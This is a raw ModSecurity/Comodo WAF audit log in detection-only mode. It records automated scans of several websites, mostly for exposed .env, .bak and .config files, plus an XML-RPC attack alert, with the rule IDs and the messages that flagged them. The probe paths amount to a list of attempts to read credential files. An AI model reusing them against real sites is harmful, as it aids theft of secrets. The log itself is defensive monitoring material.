<https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=047b3dbccfe1e0053cf71b8509a38acc1750026650; expires=Sun, 15 Jun 2025 23:30:50 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --0691970c-H-- Message: Warning. Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/etc/apache2/modsecurity.d/rules/comodo_free/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||www.mindscan.edu.in|F|2"] [data ".bak"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/etc/apache2/modsecurity.d/rules/comodo_free/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||www.mindscan.edu.in|F|2"] [data ".bak"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] [hostname "www.mindscan.edu.in"] [uri "/:5000/configura.bak"] [unique_id "aE9JmbIOonfcVDbK8_bragAAAAA"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750026649882559 665724 (- - -) Stopwatch2: 1750026649882559 665724; combined=1925, p1=339, p2=1482, p3=0, p4=0, p5=103, sr=102, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --0691970c-Z-- --ded38976-A-- [16/Jun/2025:04:00:52.558640 +0530] aE9Jm7IOonfcVDbK8_brawAAAAA 185.177.72.210 48610 127.0.0.1 7081 --ded38976-B-- GET /jsrelay/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --ded38976-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=14e4870b38e3aab2995e9d204301a56e1750026652; expires=Sun, 15 Jun 2025 23:30:52 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --ded38976-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/jsrelay/.env"] [unique_id "aE9Jm7IOonfcVDbK8_brawAAAAA"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750026651897049 661654 (- - -) Stopwatch2: 1750026651897049 661654; combined=1830, p1=358, p2=1374, p3=0, p4=0, p5=98, sr=92, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --ded38976-Z-- --d955e806-A-- [16/Jun/2025:04:00:56.625709 +0530] aE9Jn4rLgrklqy57Kk2ikgAAAAg 185.177.72.210 48774 127.0.0.1 7081 --d955e806-B-- GET /fm/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --d955e806-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=e186164bb95c8681f2cb45b4836fd7391750026656; expires=Sun, 15 Jun 2025 23:30:56 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --d955e806-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/fm/.env"] [unique_id "aE9Jn4rLgrklqy57Kk2ikgAAAAg"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750026655929929 695861 (- - -) Stopwatch2: 1750026655929929 695861; combined=2125, p1=483, p2=1525, p3=0, p4=0, p5=116, sr=121, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --d955e806-Z-- --0c88d129-A-- [16/Jun/2025:04:00:59.680880 +0530] aE9Jon2GhYywD7zZgx4AoAAAAAM 185.177.72.210 48944 127.0.0.1 7081 --0c88d129-B-- GET /:8000/rest/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --0c88d129-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=f851b1e8bc39317b862168ff2f81b2641750026659; expires=Sun, 15 Jun 2025 23:30:59 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --0c88d129-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/:8000/rest/.env"] [unique_id "aE9Jon2GhYywD7zZgx4AoAAAAAM"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750026658999263 681679 (- - -) Stopwatch2: 1750026658999263 681679; combined=1655, p1=353, p2=1210, p3=0, p4=0, p5=91, sr=92, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --0c88d129-Z-- --5eadda5f-A-- [16/Jun/2025:04:01:03.038139 +0530] aE9JpvNXjUHq-Wm7C_8UogAAAAQ 128.199.112.101 45864 127.0.0.1 7081 --5eadda5f-B-- POST //xmlrpc.php HTTP/1.0 Host: best-website-designs.com X-Real-IP: 128.199.112.101 X-Accel-Internal: /internal-nginx-static-location Connection: close Content-Length: 493 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36 Content-Type: application/xml --5eadda5f-F-- HTTP/1.1 200 OK X-Powered-By: PHP/8.3.22 Connection: close Vary: Accept-Encoding Content-Type: text/xml; charset=UTF-8 --5eadda5f-H-- Message: Warning. Operator EQ matched 0 at IP. [file "/etc/apache2/modsecurity.d/rules/comodo_free/30_Apps_OtherApps.conf"] [line "5956"] [id "240335"] [rev "5"] [msg "COMODO WAF: XML-RPC Attack Identified (CVE-2013-0235)|Source 128.199.112.101 (50+1 hits since last alert)|best-website-designs.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "OtherApps"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Operator EQ matched 0 at IP. [file "/etc/apache2/modsecurity.d/rules/comodo_free/30_Apps_OtherApps.conf"] [line "5956"] [id "240335"] [rev "5"] [msg "COMODO WAF: XML-RPC Attack Identified (CVE-2013-0235)|Source 128.199.112.101 (50+1 hits since last alert)|best-website-designs.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "OtherApps"] [hostname "best-website-designs.com"] [uri "/xmlrpc.php"] [unique_id "aE9JpvNXjUHq-Wm7C_8UogAAAAQ"] Apache-Handler: proxy:unix:/var/www/vhosts/system/best-website-designs.com/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750026662082127 956069 (- - -) Stopwatch2: 1750026662082127 956069; combined=2847, p1=499, p2=1957, p3=42, p4=66, p5=178, sr=130, sw=105, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --5eadda5f-Z-- --92a7c120-A-- [16/Jun/2025:04:01:03.951947 +0530] aE9Jpx-kH31pk4mNbsVFXwAAAAo 185.177.72.210 45960 127.0.0.1 7081 --92a7c120-B-- GET /:9000/.env.development HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --92a7c120-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=aa8937f862a1e4aa57d0007557ae6cf01750026663; expires=Sun, 15 Jun 2025 23:31:03 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --92a7c120-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/:9000/.env.development"] [unique_id "aE9Jpx-kH31pk4mNbsVFXwAAAAo"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750026663299492 652517 (- - -) Stopwatch2: 1750026663299492 652517; combined=1875, p1=385, p2=1405, p3=0, p4=0, p5=84, sr=93, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --92a7c120-Z-- --bd4edb71-A-- [16/Jun/2025:04:01:11.031202 +0530] aE9JrrIOonfcVDbK8_brcgAAAAA 185.177.72.210 35746 127.0.0.1 7081 --bd4edb71-B-- GET /pt2/countries/src/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --bd4edb71-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=dcf9ee5fdcf29fdad961bb81e6330e4f1750026670; expires=Sun, 15 Jun 2025 23:31:10 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --bd4edb71-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/pt2/countries/src/.env"] [unique_id "aE9JrrIOonfcVDbK8_brcgAAAAA"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750026670280849 750437 (- - -) Stopwatch2: 1750026670280849 750437; combined=1865, p1=379, p2=1370, p3=0, p4=0, p5=115, sr=98, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --bd4edb71-Z-- --05965972-A-- [16/Jun/2025:04:01:12.031108 +0530] aE9Jrx-kH31pk4mNbsVFYwAAAAo 185.177.72.210 35796 127.0.0.1 7081 --05965972-B-- GET /:8888/tests/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --05965972-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=9cd1a98e195536c9296ab491353a10e11750026671; expires=Sun, 15 Jun 2025 23:31:11 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --05965972-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/:8888/tests/.env"] [unique_id "aE9Jrx-kH31pk4mNbsVFYwAAAAo"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750026671376152 655018 (- - -) Stopwatch2: 1750026671376152 655018; combined=2301, p1=541, p2=1671, p3=0, p4=0, p5=89, sr=116, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --05965972-Z-- --a57c9b05-A-- [16/Jun/2025:04:01:24.660419 +0530] aE9Ju7IOonfcVDbK8_breQAAAAA 185.177.72.210 53312 127.0.0.1 7081 --a57c9b05-B-- GET /administrator/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --a57c9b05-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=2c4c2c08824c7b634c3fa00ae332c7f21750026684; expires=Sun, 15 Jun 2025 23:31:24 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --a57c9b05-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/administrator/.env"] [unique_id "aE9Ju7IOonfcVDbK8_breQAAAAA"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750026683969533 690977 (- - -) Stopwatch2: 1750026683969533 690977; combined=2561, p1=575, p2=1886, p3=0, p4=0, p5=99, sr=151, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --a57c9b05-Z-- --6ad4003e-A-- [16/Jun/2025:04:01:27.776725 +0530] aE9Jvx-kH31pk4mNbsVFawAAAAo 185.177.72.210 53504 127.0.0.1 7081 --6ad4003e-B-- GET /.com HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --6ad4003e-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=dfc376140d9714ae300d40cd2d020d651750026687; expires=Sun, 15 Jun 2025 23:31:27 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --6ad4003e-H-- Message: Warning. Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/etc/apache2/modsecurity.d/rules/comodo_free/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||www.mindscan.edu.in|F|2"] [data ".com"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/etc/apache2/modsecurity.d/rules/comodo_free/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||www.mindscan.edu.in|F|2"] [data ".com"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] [hostname "www.mindscan.edu.in"] [uri "/.com"] [unique_id "aE9Jvx-kH31pk4mNbsVFawAAAAo"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750026687119047 657763 (- - -) Stopwatch2: 1750026687119047 657763; combined=2322, p1=438, p2=1779, p3=0, p4=0, p5=104, sr=134, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --6ad4003e-Z-- --7a28f033-A-- [16/Jun/2025:04:01:28.837938 +0530] aE9JwENwpNEMJppxC49YWwAAAAI 185.177.72.210 53574 127.0.0.1 7081 --7a28f033-B-- GET /Helmetjs/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --7a28f033-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=13d85ff36f5f8f61c58702afc062cb211750026688; expires=Sun, 15 Jun 2025 23:31:28 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --7a28f033-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/Helmetjs/.env"] [unique_id "aE9JwENwpNEMJppxC49YWwAAAAI"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750026688178864 659136 (- - -) Stopwatch2: 1750026688178864 659136; combined=1839, p1=358, p2=1383, p3=0, p4=0, p5=98, sr=88, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --7a28f033-Z-- --6f59087e-A-- [16/Jun/2025:04:01:30.842625 +0530] aE9JwkNwpNEMJppxC49YXAAAAAI 185.177.72.210 35982 127.0.0.1 7081 --6f59087e-B-- GET /:8008/config/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --6f59087e-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=004f2c7b30b1cd9ddc205c0310a4d4dd1750026690; expires=Sun, 15 Jun 2025 23:31:30 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --6f59087e-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/:8008/config/.env"] [unique_id "aE9JwkNwpNEMJppxC49YXAAAAAI"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750026690188952 653764 (- - -) Stopwatch2: 1750026690188952 653764; combined=1805, p1=364, p2=1348, p3=0, p4=0, p5=92, sr=88, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --6f59087e-Z-- --3c6a772e-A-- [16/Jun/2025:04:01:31.026201 +0530] aE9Jw32GhYywD7zZgx4AtAAAAAM 196.251.69.172 38778 127.0.0.1 7080 --3c6a772e-B-- GET /.env HTTP/1.0 Host: www.printotech.com X-Real-IP: 196.251.69.172 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:77.0) Gecko/20100101 Firefox/77.0 Accept-Encoding: gzip, deflate Accept: */* --3c6a772e-F-- HTTP/1.1 404 Not Found Last-Modified: Fri, 27 Dec 2024 11:52:48 GMT ETag: "328-62a3f1a0472fe" Accept-Ranges: bytes Content-Length: 808 Connection: close Content-Type: text/html --3c6a772e-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.printotech.com"] [uri "/.env"] [unique_id "aE9Jw32GhYywD7zZgx4AtAAAAAM"] Stopwatch: 1750026691022947 3322 (- - -) Stopwatch2: 1750026691022947 3322; combined=1895, p1=419, p2=1398, p3=0, p4=0, p5=78, sr=110, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --3c6a772e-Z-- --b8ad413d-A-- [16/Jun/2025:04:01:35.172686 +0530] aE9JxlxTdrwJSUMoZvGw7AAAAAc 185.177.72.210 36162 127.0.0.1 7081 --b8ad413d-B-- GET /admin/.config HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --b8ad413d-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=1186366fb49074aef6cbba3858c049c11750026695; expires=Sun, 15 Jun 2025 23:31:35 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --b8ad413d-H-- Message: Warning. Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/etc/apache2/modsecurity.d/rules/comodo_free/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||www.mindscan.edu.in|F|2"] [data ".config"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/etc/apache2/modsecurity.d/rules/comodo_free/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||www.mindscan.edu.in|F|2"] [data ".config"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] [hostname "www.mindscan.edu.in"] [uri "/admin/.config"] [unique_id "aE9JxlxTdrwJSUMoZvGw7AAAAAc"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750026694512288 660460 (- - -) Stopwatch2: 1750026694512288 660460; combined=1963, p1=322, p2=1551, p3=0, p4=0, p5=90, sr=88, sw=0, l=0, gc=0 Producer: ModSecurity for 